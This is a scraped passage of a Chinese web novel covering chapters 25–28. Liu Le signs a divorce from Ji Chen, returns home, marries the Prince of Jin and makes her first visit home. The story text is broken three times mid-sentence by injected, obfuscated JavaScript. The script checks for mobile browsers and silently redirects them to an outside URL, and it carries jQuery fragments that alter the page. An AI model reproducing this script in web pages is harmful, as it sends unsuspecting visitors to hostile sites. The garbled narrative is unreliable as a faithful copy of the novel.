陈允笑笑说:“不劳多虑,文书交给我带去便可。现在若已准备好,下官即刻拿去刑部,若还未备好,下官多等一时半刻倒也无妨。”说着他抱起臂膀,又向四周去瞧。 柳乐已将二人对话听见了,忍不住上前问:“不是说好三日吗?” 闻声陈允连忙转身,一面弯腰低头一面说:“见谅见谅,王爷有要务在身,需离京几日,想将此事尽快定下来。王爷希望回京后立即行婚礼,卑职得赶紧去准备,多求体谅。——当然,王爷答应王妃三日,三日也等得。” 柳乐听他口称王妃,心中更恼,又不好再说什么。董素娥说:“请陈老爷中午再来,我们那时候定将文书备好。” “好,下官中午再来打扰。”陈允一打躬,倒退着向门口走。 “等等,”柳乐唤住他。“可否请你带我去刑部。我和计正辰当面说清楚,共同签字画押,岂不更妥当,不出一点儿差错?”她连讥带讽道。 “此事万万不可行,请王妃勿难为下官。” “那我可否另写一封信,你捎去给计正辰?” 陈允仍是弯着身,说:“王爷命下官只将相关文书带到,多一字也不许下官传,若违背,下官性命事小,害王爷王妃生隙,下官罪过可就大了。” 柳乐心想晋王分明是要故意折辱人,想到他们会对计晨说的话,想到计晨心中滋味,恨得两眼冒火,却又无可奈何。 董素娥赶紧说:“请上覆王爷,今日一定备好。请大人午时过后再劳累一趟。” “好说好说,刑部申时过后就不好进了,下官未时半再来,正能赶上。”陈允一边答应着一边出了门。 柳乐回屋呆坐了半晌,巧莺进来说:“姑娘,我们还是快离了这里吧,刚才我去后头,听见计大姑娘骂姑娘——真没良心!姑娘平日拿她当亲妹妹待,现在为计家的事,姑娘也是不得已,听她说倒成了姑娘招惹王爷,才给他们家招了祸。” 这个院子小,后面的喊叫柳乐也听见了,但她并未留神,只是听到计晴的哭声更觉恻然,心想她父亲身上不好,母亲亦是强撑着,两个哥哥都入了狱,她也是个向来倍受娇宠的年轻女孩儿,如何受得了这些?谁知计晴竟这般诬赖人,柳乐气怔了:“她怎能这样说?” “气不过罢了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799576|156576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”巧莺哼道,“要是换成她,肯定又有另一套话,假若王爷向她提亲,还不把她美死。——都不用细想,谁都知道王爷最近才病愈出来走动,那时姑娘都嫁过来了,整日被计太太关在屋里做活,哪儿招惹王爷去?再往前,王爷病了两年,更没影了。真是的,八竿子打不着的事也往一起拉扯,怨谁也怨不着姑娘啊。要不是计太太喝住她,我当场进去给她两个大嘴巴,姑娘家说那种话也不嫌臊!更可笑的还在后头——她非逼着计太太写休书,不然就要撞墙,我才不信她真敢撞。” “休就休吧,我不在乎。”柳乐冷笑。 “不是,凡事总得讲个道理,姑娘又没过错。”巧莺不服道,“姑娘是没听到计姑娘说什么——她说姑娘见一个爱一个,嫁过来前就和人有首尾,要把这事告诉王爷知道。” 柳乐气得手脚冰凉:“让她告诉去,我巴不得呢。只有她把什么狗屁王爷当个宝,我才不稀罕。” “她就真告诉了,王爷也不会计较,看她不气死。” “我计较!什么嫁过来前和人——她就是说我和禹……凭什么这样说?” 巧莺看柳乐气得狠了,后悔不该提这话,索性明亮亮说破:“就是说姑娘和禹大相公,计二爷都知道得清清楚楚,真有事,轮到她说?咱们理她呢。”又打岔道,“姑娘赶紧回家吧,别在这儿耽搁了,还有老爷太太那一关。姑娘看看哪些东西带着,我这就收拾去。” “是该赶快回去。”柳乐站起来,“不知道他们把文书写好没有?” “他们不会真的把姑娘……那可不好听。”巧莺担心道。 “不怕,不管是哪样,给了我我就走。除了衣裳、随身东西,剩下的都不必带——宁可少,别拿多了。有几件衣裳是后来裁的,你拣出来送给陈嬷嬷吧。” “我晓得,姑娘,谁稀罕她家里的东西,都留给她好了。不过——”巧莺停了停,假作紧张,却是开个玩笑,“姑娘总会带上我吧?” “那当然。我从家里带了你来,也带你回去,只是这回……你别去王府了,以后你就跟着二姑娘。” 巧莺急了:“本来我起过誓,水里火里都跟随姑娘,谁知现在姑娘去王府享富贵,却不要我了。”说着掉下眼泪。 两人相伴已有七、八年,巧莺比柳乐大一岁,该稳重时稳重,能像姐姐般规劝、安慰柳乐;但她到底也是个年轻姑娘,和柳乐在一处,忘记主仆之分,笑笑闹闹的时候占了大半,甚至还可能拌拌嘴。 柳乐只是怕王府里规矩太严,连累巧莺也受人欺负,才说不让她去,哪里是真舍得她离开。这时她见巧莺流泪,眼里和心里都是一热,爽性说:“好,就带你去。回头不喜欢了,可也不准走——那时候别赖我。” “怎么不喜欢,不见得我就混不上个女官当当。” 两人相视一笑,再不提要分开的话。 快到中午时,柳乐来到董素娥屋子,董素娥默默将和离书给她。柳乐没多看,在上面签了名画了押,起身向前公婆作辞,本还要磕个头,计衔山和董素娥坚决不敢受,也就罢了。 26. 待嫁和婚期 柳乐又回到了柳家待嫁。 她的父亲柳掌奇祖籍湖南,出身小乡绅之家,家中虽非大富,颇过得去。他闲来不大出门,只喜欢读几本书,娶妻之后,因妻子江岚幼时随家人在京城待过几年,常说起金陵风物,便动心想去看看。适逢江岚怀了身孕,故一直动身不得,待得了头生子,更不舍与妻儿分开。江岚玩笑说:“正好到了乡试之年,你不若去考一考,若中不了,就安心在家陪我,若中了,明年会试正好上京,权作玩一趟。横竖家里有这么些帮手,我又不劳累,你也不必怕人说你不务正业。” 柳掌奇本是个生员,家离省城不远,听了妻子的话,遂也玩笑着下场去试试,谁知不费吹灰之力中了,翌年上京城赶考,一路取了进士,授了部属。他确实喜欢京城的烟雨风流,于是卖掉家乡田地,在京里置了屋舍,将一家老小都搬过来。 在部里做了一年小吏,柳掌奇感到官场不大对他脾性,便辞了事,在家宅附近租了所院子,开起一间私塾。 他教书有条限制:超过十五岁的学生不教。对着人谦虚道:“十五岁,虽未成人,但心智早已开了,一概事理都透彻明白。我不但不能教,反而该向他学习。”——实则还另有个缘故:人家念书,大半是冲着要取功名,荣身腾达,柳掌奇对此道不大以为然,因此立下这个规矩,以免一个教不好,耽误了学生举业。 他最是恬淡的一个人,对自家孩子亦是如此,只要不走歪门邪道,不管儿女们愿意做什么,都不阻拦。儿子柳图大了,他唤来问明志向,便由他自去发奋;柳图倒也要强,埋头苦学,二十多岁时中了进士,也是在部里从小吏做起。柳掌奇只这一个儿子,既要做官,便无人承继家业,待他年迈力不从心之时,就关了学堂,在家安心教养两个孙儿。 述回前言。除了年龄一条之外,柳掌奇各样学生都招收——刚刚开蒙的要,半道来的也不拒,按水平分了班,聪明些的,稍微点拨几句,出了题目令他们自己去思索;资质平平的,先要他们旁学杂收,观其兴趣,再选适合的功课,使其扬长避短;实在蠢笨的,他也能拿出十二分耐心,教会他们识些许字,算几笔账,好过做睁眼的瞎子,来日任人哄骗欺侮。 慢慢在街坊间有了口碑,远一点的地方也有人特特找来。能送孩子来读书的人家,没有太贫寒的,亦没有很富贵的——那些人家自有家塾——柳掌奇的学生大都家境中等,每日由仆人早送晚接,午间还送一顿饭食来。偶尔学生家中有事照料不及,柳掌奇就把孩子带回自家吃住一晚,不在话下。 他对所有学生一视同仁,但也有两个最得意的,便是禹冲和计晨。两个人都是八、九岁上,嫌原来的老师教得不好,叫家人送来了此处。二人同齿,禹冲生日在九月,计晨长他半岁,排在一个班上,平日里互相探讨学问,十分投缘,渐渐成了好友。彼时计晨的父亲是六品官员,禹冲父母双亡,跟着姑母一家过活,姑父是个盖屋架桥的土木工匠。两个小儿不计较家世高低,只管一处读书一处嬉闹,像亲兄弟一般。 尽管柳掌奇喜爱这两名学生,待他们到了十五岁,他一样不再授课,但禹、计二人还常常与老师来往,亲如一家人。又过几年,不知不觉间,禹冲与柳乐两情相悦,柳掌奇看女儿选中自己最爱惜的学生,心里非常满意;这时禹冲家中只有姑母健在,亦赞同这门亲事。小户人家不那样讲究,又看他们年纪还小,故未请媒人立婚约,默认等柳乐再大两岁,就为二人完婚。 岂料好事难谐。只要再等一年便能娶柳乐,禹冲却与另一个姑娘有了私情,令其怀上身孕。姑娘的家人一怒之下告到官府,将禹冲抓入监牢。后来那位姑娘羞愧自尽,禹冲则被发配边疆服三年苦役。一年后传回消息,说他已病死在那里。 柳掌奇的失望、伤心不必多言。自禹冲入狱,他的身体便不大好,连禹冲的死讯都是隐瞒了好久才敢告诉他。那时,柳乐已决定要嫁计晨了。女儿终身有托,对柳掌奇多少是个安慰,谁知,如今计晨也被牵进牢狱之灾。 无论如何,与计晨和离,再嫁王爷,两件事不可能瞒过去。她这一回家,肯定就是有事发生,谁能猜不出呢?为免父母着急,刚进家门,柳乐便跪在他们面前:“女儿不孝,屡次累爹娘操心。” 江岚弯身去抱她:“快起来,我和你爹好好的,累我们什么了?” 柳乐站起,不敢去看爹娘,低着头刚要开口,江岚说:“今天王爷来家里,向我们说了。” 柳乐愣住,急忙又去瞅父母的神色,“他说了——” “说要来提亲的事。怎么你们——”江岚亦是边觑着柳乐面色边问,“我说叫你哥哥回来,你爹说先不急。到底是怎一回事啊?” “我和晨大哥已经和离了。”柳乐羞惭地说。 “王爷也是这样讲。和离便和离罢,你也莫难受,”江岚说。 柳乐吞吞吐吐地问:“王爷的提亲……你们答应?” “你要是愿意,我们怎么不答应?” 柳掌奇一直和蔼地看着女儿,这时方问:“你自己是愿意的罢?” 柳乐低声而坚定地说:“这是女儿的心愿,望爹娘首肯。” 江岚笑道:“王爷比你早一个时辰来,他说立即要离京去办些事,今日就动身,所以只待了一小会儿,和你爹说过几句话就走了。他说后面会有人来提亲等事。王爷人倒是真和气,你爹爹也说看他不错,不过你们何时——” 柳乐知道晋王能作出一副谦和的样子,不管怎的,这倒省了她为难,要让她自己解释,真不知该如何说才显得不像是受逼迫。 她说:“晋王爷与我遇到过两三次,我对他的人品很仰慕。——在爹娘看,确实有些突然,不过我们彼此已……已心意相通,这并不是仓促之下的决定。而且,太皇太后年事已高,也想要尽早看我们……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804623|156576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >柳掌奇微笑道:“王爷和你说得一样。他这人的确很好,虽然身份是太高一些。” 江岚犹豫着问:“亲家——计家太太没有生气吧?” 柳乐忙答:“计伯母十分通情达理。我与晨大哥缘分太浅,如今好合好散,固然遗憾,但并无怨怼。”顿了片刻,又说,“王爷也十分同情晨大哥,愿为他设法。” 柳掌奇点点头:“这下我就放心了。让人去收拾你那间屋,你也好好歇几天。” . 王府里派了几个人过来,帮着柳家干活、跑腿,柳乐知道亦有监视她的意思,她本来也无意出门,每日只在家中陪伴父母。 她回家的第二日,宫里有位太医来为柳掌奇诊病,虽不是什么大毛病,但每年入冬前,柳掌奇身上都不大舒坦,谁知这次才吃过一副药,较之以往便觉得好了许多,柳乐也把心放下几分。 柳图只会傻笑,直到看见王府派来的媒官提亲、问名、下聘一样不缺,才明白不是做梦,猛醒过来,抖擞起精神,知道父母这次拿不了主意,只能靠他这个大哥为妹妹操持了。 他也没拿出新主意,不过是对王府的安排全盘赞同。待媒官讨了生辰八字去,再次来时说:“圣上命人择佳期,十一月初三日是大吉日,但是王爷肩重任出京,虽必赶得回来,未免太匆忙,另还有十一月初九日,亦是千载难逢的好日子,夫妻必能天长地久,定在这天可好?” 柳图听了当然说好。一件本来显得异常着急、仓促的婚事,在他看,顿时成了好事多磨——幸而王爷英明,百忙之中还记得以婚姻大事为先,妹妹实在太有福气。 这期间,太皇太后宣柳乐进宫一次,见了见未来的孙媳妇,回来后,又赐了很多礼物。皇太后、皇后依样而行,礼物源源不断送至柳家。柳图不知哪里搞来十数只红漆描金绘着花鸟的大箱子,把聘礼和宫里赏赐之物都给柳乐做了嫁妆。这条小巷子突然多了很多太监、车马往来,街坊邻居自然全都知道了,连邻近几条街的人都跑来看,碰见柳家有人出门,便围上去贺喜,把江岚和严华都惹烦了。她们干脆也整日呆在屋里,只有柳图一人还只管大摇大摆地进出,每日上值一回到家,不问父母,先问妹妹,然后便去清点嫁妆,一件件造册登记。随着院中箱笼越摞越高,他对柳乐也越发恭敬,说话时低着脑袋,连口气都不敢向她脸上呼,弄得柳乐哭笑不得。 “妹妹还记得那个高叔宏?他把父亲的字画还回来了,还又送了两幅,妹妹看,收不收?”一次,柳图小心地问。 “爹爹的巨然还回来了?那我们就收下,多的就不必要了。” “对,对,我也是这样想。我说不要,那家伙还怪怕的,非得我答应他去吃酒才算。”柳图笑道,“还有刑部那个管狱,上次见的,如今也来攀交情了。他没脸提别的事,只说蒙王爷关照过,送了咱们几坛酒、一只羊。” 柳乐冷哼了一声。 27. 婚礼和眼泪 江岚看无人时对柳图说:“你妹妹说她中意王爷,我总觉得不像。若是真的,她何必特此来说,女孩儿家哪有不害羞的?” “小声些,”柳图声音压到不能更低,“妹妹又不是大姑娘,这有什么好羞羞答答的,当然要向父母秉明,再说,妹妹也一向是自己拿主意。” 江岚道:“可不是你也这么说,当初她对计家那孩子……若他没有下狱,两个人定是好好守一辈子,怎的突然就变了?” “那时才成亲一天,计晨便丢下妹妹出门去,大半年不见,情分自然就淡了。再说王爷是什么人,——是真龙的儿子、当今天子的亲兄弟,计晨怎么比得了?” “你妹妹可不是嫌贫爱富的人。计晨下了狱,他两个和离,她又要嫁王爷,这里面就没别的事?外头人怎么说?” “这不是谁贫谁富的事儿。娘不是见过王爷,人才不好?——连爹都说瞧着还不错,爹能这样说,就是好得很了。你就别顾虑了,咱是看不到人心里,若能,随便找个姑娘看看,哪个不愿意嫁?只不过王爷没瞧上她们,眼酸罢了。让他们背地里嘀咕去,反正当面绝对没人敢说半个不好。” “唉呀,两个人又不是成日坐着你看我我看你,门门道道的事多着呢,王妃岂是人人都当得?你说先前与王爷议亲的是谁家的姑娘,谢家?皇太后娘家里的,那才算门当户对。王府那一套咱们见都没见过,乐儿能不能应付得了?” “当然能。”柳图不急不慢道,“门当户对,四平八稳,虽好,又有甚意思?咱们说句难听话,王爷的一条命差不多是捡回来的,重活一回!这样的人才是看开了,知道要选哪样,也一定会对妹妹好。去了王府,除了王爷就是妹妹,上不用侍奉公婆,下没有难缠的小姑子,比别家媳妇还要好做许多。再说,妹妹不会待人接物,当家理纪?怎么就不能行?” 江岚露出一点笑,但额头还未全舒展开,“他是王爷,将来总要去就藩,无故不能回京里来。千里迢迢,咱们要再见你妹妹可就难了。” 柳图笑道:“娘不必愁,太皇太后最疼这个小孙子,不会放他走的。太皇太后如今又还硬朗,便是她千秋之后,王爷去了外地,娘舍不得妹妹,我带着你们一起去又有什么?我男子汉大丈夫,在哪里不能养活父母妻儿。我也不怕人说我投靠妹丈,他们想靠还靠不着呢。” 江岚笑着摇着头走开了。 计家也往柳家走了两次,一次是送回柳乐嫁计晨时陪的嫁妆:嫁妆一件不缺,仍是用当初那两只樟木箱子装着。 这时衙门已归还了计家在乌桕巷的院房——那一万银子的事并未审出个结果,衙门裁定计晨与计家确不知情,银子是盖园子前就叫人埋在地里的,无从追究;于是,一万两尽数入官,事情便不了了之了。计家又搬回旧宅,没几日,计春也给放了出来,也没有革职。虽然计晨还在关押着,比起前一段,计家的境况已算是好了许多。为此,董素娥和高娴上了一趟柳宅,婉转表示感谢之意。为免除尴尬,柳乐没出来,只江岚陪着她们,两人略坐了坐也就走了。 . 无论世人怎样不可置信,街坊怎样惊异好奇,十一月初九日,晋王府迎亲的轿马还是如期来到南桂巷柳宅门前。 天还未亮,巷子两边三步一岗,列好了两列佩刀卫士;道路中则是乐工和仪仗的队伍,乐工有一十二人,仪仗直蜿蜒出好几条街巷。等到鼓吹乐响起,半城的男女老幼都涌过来了,把本来便不很宽的巷子围得水泄不通,瞧热闹的人想方设法从侍卫身后探出脑袋,挑担卖果子、卖瓜子、卖甜水的有过人本领,怎么挤都不会头晕脑胀,脸上始终挂着笑,喜洋洋地吆喝,手底下也丝毫不乱,再就数小孩子们高兴了,猴儿似的在人丛中钻进钻出。 柳乐在她那间从小长到大、此时布置的纷华靡丽的闺房中静静坐着,一滴眼泪都没掉。听外面锣鼓报吉时已到,她站起身,和家人互道了保重的话,抬手止住哥哥,自己走出门去,跨进镶金裹铜、披挂得红炽炽的大轿,这才合上盖头,随后便陷入了恍恍惚惚之中。 婚礼好似一场鸾歌凤舞、一阵急管繁弦,柳乐只是感到不真切:一时她觉得自己是赴别家的喜筵,一时又觉得自己是在台上扮戏,再不然是皮匠手里提的人影子;可最让她奇怪的是,和她拜堂的人比她自己更不像真的。 柳乐对晋王本不熟悉,再加上身旁站的这个人一言不发一声不出,她甚至疑惑是不是他去外地还没回来,胡乱找了个人充数。 不去管他。随即她记起这是自己一年内第二次披上嫁衣——二月,十一月,年头和年尾,中间又有多少事啊。这时她去回想,偏偏一件也想不清楚,仿佛叫飘飘渺渺的云雾遮着,只有这两桩婚礼,如云雾中探出的两个山尖,实实在在又不可思议。 拜堂之后,她让人引入卧房坐下。 这一坐就是一个多时辰,她从酉时坐到了亥时过半。隔一刻,屋里的嬷嬷和侍女就告退几名,直退到满室里悄没声的。 巧莺沉不住气了,小声嘀咕:“怎么一个人都不见。”又向柳乐耳旁说,“姑娘你累了就先靠一靠,想不想吃点儿东西?” 柳乐摇摇头,旋即把盖头摘下来。“我不饿,你也歇着吧,不会有人来了。” 巧莺向她脸上一瞧,不觉呆住:“姑娘今天美得我都认不出了。” “行了,快帮我把这个拿下来,沉死了。”柳乐去卸她那顶凤冠。她戴着实在难受,头上颤巍巍像顶着盏宫灯似的。 巧莺自己也是满头珠翠,劝柳乐说:“等等吧,姑娘,难道不叫王爷先瞧过……”一瞥眼,她看出柳乐面上笼着一层愁容,哪里是新嫁娘那种虽含羞却带喜的模样。 巧莺不吭声了,小心地把柳乐缀满了珍珠和宝石的凤冠摘下来,放在案上,又一挥手:“姑娘你看这些东西,我都不敢动一动的,生怕碰了哪里。” 柳乐除去了头上的负担,周身松快许多,这才向四面去看。面前是间大屋,以卧房来说相当敞阔,灯光照耀下金彩交映,满室生辉。她先瞧见镜台右边一座盆景,釉里红大盆,内中栽一株结满红果的石榴树,四周点缀着绿松石、青金石雕的花鸟小景,碧玉的叶片、玛瑙的花果嵌在珊瑚枝上,果子个个饱满,也有裂开嘴的,里面一粒粒的石榴籽俱细细刻了出来,灯光映照下,整棵树异彩辉煌;左边对称摆着一盆柿树,这是太皇太后赠给新人的礼物。另有来自皇帝、皇太后的各样珍玩不可胜数。 柳乐也没心思多看,“不必管它,估计摆几天就收起来了。” 巧莺去净室转一圈出来说:“我去外头问问,看哪里有热水。” “算了,明日再说吧,我累得很,想睡了。凉水有没有,擦擦脸就行。” 柳乐一件件卸下钗环,把脸上的妆洗干净,让巧莺在外间睡了,自己便也躺下。衾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809591|156576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 褥柔软馨香,躺着很舒服,她虽身子困乏,可是骤然来到一个陌生地方,一时睡不着,不知不觉流下眼泪。 柳乐赶紧用手去擦,强自忍住,但泪水原是你越忍它,它越要汹涌地淌出来。她怕第二日要人瞧见眼睛肿,猜测是受冷遇之故,那就实在太可笑,便急忙在脑中搜寻一件新鲜、且与自己全无相干的事。她想到了那棵石榴树:不知那些石榴是怎生雕出来,又怎生镶上去的?要是揪几只下来,在手里抛着一定好玩。不过,就算不肯听从太皇太后的美好愿望,也不必对她不敬,她是位很和蔼的老人家。柳乐想起了儿时,想起了对自己万分疼爱的祖母,鼻子又酸了;赶忙又去想今日一直戴在头上那顶华丽的凤冠,胡乱猜上面有多少颗珠子;又想所有那些美丽、无生命的物件。这间屋子中充斥着那样的东西。她不禁后悔刚才没看清,想要爬起来,把各处都细细看一遍,但又怕吵醒巧莺——她也累了一整日,外面静静悄悄的。 察觉到屋里屋外的安静,柳乐突然慌张了,好像有个人马上就要大步闯进来,打破这非常宝贵的安宁。好几次,她觉得脚步声已经到了门口,可是朝那里一望,除了帘子一动不动垂着,什么都没有。 “柳乐——”有人轻轻唤。 柳乐倏地睁开眼,懊恼地发现自己已经差点儿睡着,又惊醒了——怎么,她还没把那声音听真,便急着从梦里逃出来? 未必就是禹冲,她已经好久、好久、好久没有梦见他了。 即便是他又如何?她后悔了:刚才该回头,听听他说什么,是真诚道喜,还是满心悔恨、说些言不由衷的庆贺话? 大概他什么都不会说吧。 有一个雨天,她去邻居家借样东西,开门却见禹冲独个儿在门前徘徊,看见他,她高兴,又感到惊讶,因为那天既非过节,也不是谁的生日,天下着雨,而他前一日刚来过。 “你怎么来了,找我爹爹?怎么不进去?” 他踌躇道:“我没事,不是找老师,我还没想好说什么。” 于是她一下子都明白了,心头漾起一片欢喜的涟漪。 他等她从邻居家出来,却还不肯进屋。“我走了。”他站在她家门前说。 “都到这儿了,不进来坐坐?” “不进去了,下着雨,老师肯定要留我。” “那你来干嘛,岂不空跑一趟?” 他的伞沿微微覆着一点她的伞沿,他在伞底下笑:“怎么是空跑,这不是见着你了吗。” 停了停,他又说:“我是正好要办件事,顺道来的。这雨怕还要下几日。——你快进去吧,别踩湿了鞋。” “等等,”她叫住他,朝他一笑,“以后若是刮风下雨,你就别往这儿跑了,我就当作你来过。” 他也一笑,执拗地望着她:“我会来,要看见你、听见你的声音才算。” ——即便他还挂念着她,他的魂魄也早已经飘散无踪了。他会化作一阵风来看她吗? 说也奇怪,在这一瞬间,她分明地听见窗外枝梢摇摆的轻响。 你可真选了一个好时候。柳乐轻轻说,最后一滴泪啪嗒落在枕上。 终于,睡意又回来了,可是蝉翼般的帐子根本遮不住烛光,而她不惯睡觉时有光亮。她想去吹灭它们,又记起这是花烛夜,一对红烛要燃到第二日早晨,吹不得。 她把头转向另一面,裹紧被子睡了。 28. 回门和兄长 柳乐从小就习惯了家里热热闹闹。柳家家宅不大,人却多,有她们兄妹三个,又有父亲的学生出入,后来哥哥娶了嫂子,添了两个侄儿,母亲玩笑地抱怨说:“一不留神就要踩着谁的脚。” 嫁到计家时,可能是长了几岁,性子沉了几分,她开始喜欢清静。不过董素娥愿意媳妇们在跟前陪着,高娴也喜欢闲聊,计晴和两个小侄女都喜欢找她玩,即便计晨不在家,她能独自一人的时候并不多。 直到现在,柳乐才知道“清静”究竟能静到何种地步。起床时,有人送来衣物,吃饭时,有人摆好桌子,除此外,那些人不知待在何处,好像沙子撒入湖水一样难以寻觅;偌大一个王府,能与她说话的只有巧莺一个。 这两日每日一早,宫里一个板着脸的嬷嬷过来,教她一两个时辰的宫廷礼仪,顺带还传了太后的懿旨,可能是体谅她,特意免她新婚前几日入宫请安,以后每月逢五逢十进宫。 或许她学得快,那嬷嬷来了两日也就不再来了,柳乐心中着急,偏又无事可做,只能对着一条条红色的檐柱发呆。 巧莺悄悄说:“这些人,你说她们没规矩,该做的活儿也做,说她们懂规矩,怎么一个个冷冰冰的。再说,主子不在,他们就一点儿都不奇怪?” 柳乐也不明白,想来,王府里行的大概是另一套规矩。 照习俗,新妇三日后要回门,柳乐担心这里的规矩也是两样。毕竟,她连做太后的婆母还没有去拜见,不知准不准她先回娘家。 十二日一早郁郁地起床,一位宫女进来说:“今日王妃归宁,轿马已备好,礼单请王妃过目。”说毕呈上托盘。 柳乐险些蹦了起来,刚要伸手去拿,又先问:“王爷一同去吗?” “殿下说这次不能同往。” 柳乐暗自高兴,从盘上取下礼单来看。“太多了。”她自语,走到桌边磨了少许墨,拿笔先划去大半,想了一想,又划了几笔。除去几坛子御酒,几屉内造点心,每人只留一样:父亲是一部拓印书贴,母亲是一条抹额,哥哥是一套竹木茶具,嫂子和妹妹各一面宫制靶镜,大侄儿一方端溪砚,小侄儿一张牛角小弓。 “这些便好。” 宫女领命下去,柳乐兴奋地对巧莺说:“快收拾一下,早饭传了么,吃几口咱们就走。”又补上,“到了家里,这里的情形也不必细说。” 巧莺笑道:“眼见为实。姑娘打扮得如花似玉,衣锦还家,顶一千句好话,还用我说什么呢?” 要走时,果然已有一乘轿辇在外候着。数十人骑大马行在前后,一路少不得执事开道,浩浩荡荡到了柳宅前。巧莺上前把柳乐搀下轿,柳家早有人等在门口,连忙拥进家门。王府的随从留下四个在门外待命,一队车马才调头回府去了。 虽说离开家才几天,可出嫁了再回来见亲人,宛若隔年一般。柳乐拉着母亲,江岚抱住女儿,都向对方脸上看了又看。 柳乐这两天虽然起床早,晚上睡得亦早,每日下午都没什么事,休息得很足;王府里一无尊长,二无贵客,吃饭时就她和巧莺,还挺自在,外加饭菜可口,吃得也不少;再说她的心绪——论起来,嫁之前她更忐忑,等真进了王府,见不过是那么着,反还放松了些。因这些原因,她这次回家,面容上真比两日前还更显出几分滋润,江岚一见,心已经放下大半。不过,到底有一番伤感,与母亲、妹妹见过后,柳乐抹着眼泪说:“我去看看父亲。” 江岚说:“你爹正写字,等下再去吧。” 柳乐知道父亲晨起要写一篇字,是雷打不动的习惯,不禁笑起来,又问,“嫂子呢?” 严华在门外站了一会儿了,听见话急忙进屋。柳乐拉着她不让行礼,又叫两个侄儿,要巧莺把各人礼物拿来,大家看了一回。 江岚因笑道:“你哥哥还在外面不敢进来。” “这有什么关系,快进来。我还以为哥哥今日要上衙门去。” 话音刚落,柳图红光满面地走来,躬身行了个参见大礼,把一家人都逗得笑了。 喝完茶,严华便带柳词和孩子们出去。柳乐以为母亲要和自己讲些贴心话,江岚却说:“计家太太今天一早来了,说要是你回来,想见见你。她在你妹妹屋里坐着,我去陪她一会儿,等下你也过来看看她。” “嗯,等下我先去看了爹爹就过去。”柳乐答应着。 江岚刚转身出门,柳图便对柳乐使眼色:“人家家女儿回门,她一个外人掺和进来做什么?都是娘面上过不去才留她。” “她是为晨大哥的事着急。”柳乐脸上笼起一层愁容。 “这我也明白。自然,帮是要帮他,但这样逼着你,不是让你为难嘛。你想,你刚嫁进王府,就急着给前……前头的人说情,换了谁心里能高兴?换个方式,婉转一点儿,反正事情做了就行。比方说,我要是有事,你替我说说,那倒没什么,骨肉之情嘛;再比方说,我去帮计晨,那也没什么,是朋友兄弟一场。妹妹你看,这事不如交给我去办。只是我现在一个小小经历,虽说哪个衙门的人在我面前都不敢摆臭架子,到底师出无名。我要是个京兆尹那样的官儿,今天下午就能把计晨放出来。” “我晓得了。”柳乐不耐地打断他,“可我也没法把你变成京兆尹。” “怪哥哥自己不争气,提不起来。”柳图嘿嘿笑着,“反正肯定搭救计晨兄弟,我先为他跑跑看。你莫急,也要计太太莫急,先把她敷衍过去,就说这事情咱们得慢慢来。——倒是另还有件事要和妹妹商量。” “什么事?” “我想着咱们家该换个地方住——这里门前巷子太窄,连个马车都停不下,动不动堵了这个那个,进出都不方便。就是不论这些,如今左右街坊知道你成了王妃,看见我们也不自在,街上碰到了也不敢搭话,不管是咱们还是他们,都别扭。” 柳乐听哥哥说得有理,只是看着从小长到大的老屋,不免感伤:“那便卖了这间院子,换个宽敞些的地方。不过,合适的宅子一时怕不好找,找房牙子问过没有?” 柳图连连点头:“妹妹说得对,不好找!不过如今倒是碰巧,刚好赶上个合适的,在葵仙桥。先前是闻老尚书的家宅,闻尚书告老还乡时,钱家把那宅子买下了,但一直没用,如今钱家愿意原价让给我们。院子、文书我都亲眼见过,四进的宅院,后边不大不小一个花园,原价七千五百两,家具奉送,价钱十分公道了。” “价钱再公道,我们哪有 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“还没告诉妹妹,那天叫人请去吃宴席,曹大人坐上首,接着就是我。他是皇后娘娘的兄弟,我当然不能和他比,但也差不太多。其实真要论起来,比方钱家,封了个贵妃就吆五喝六,他家祖上做什么的?连个进士都没出过,充什么名门望族?咱们到底是真格儿的书香门第!” 柳乐看着哥哥。当初,他像是所有人的兄长,在禹冲、计晨面前高谈快论,真有几分慷慨激昂的文人风采,怎么不知不觉竟变得这样市侩,她都认不出了。他大概是完全忘了父亲那两个最得意的学生,——固然如今他们家谁也不提禹冲,可是哥哥背她上花轿,喜悦地看她嫁给计晨,这还是不足一年前的事,现在看他的样子,竟好像世上根本就不曾有一个计家似的。 可是柳乐又想起,自父亲年迈不再收学生,这些年,是哥哥用薪俸养着一大家,他可从没有抱怨过半句。不仅如此,只要手头宽一点,他就拿钱让她和柳词买布料、裁新衣,从不许她们干粗活,也不许她们多做针线伤了眼,好像她两个是高门里的千金大小姐。念及此,她再不忍说哥哥什么,只是笑着轻讽道:“我还以为哥哥快忘了我们是读书人家。” 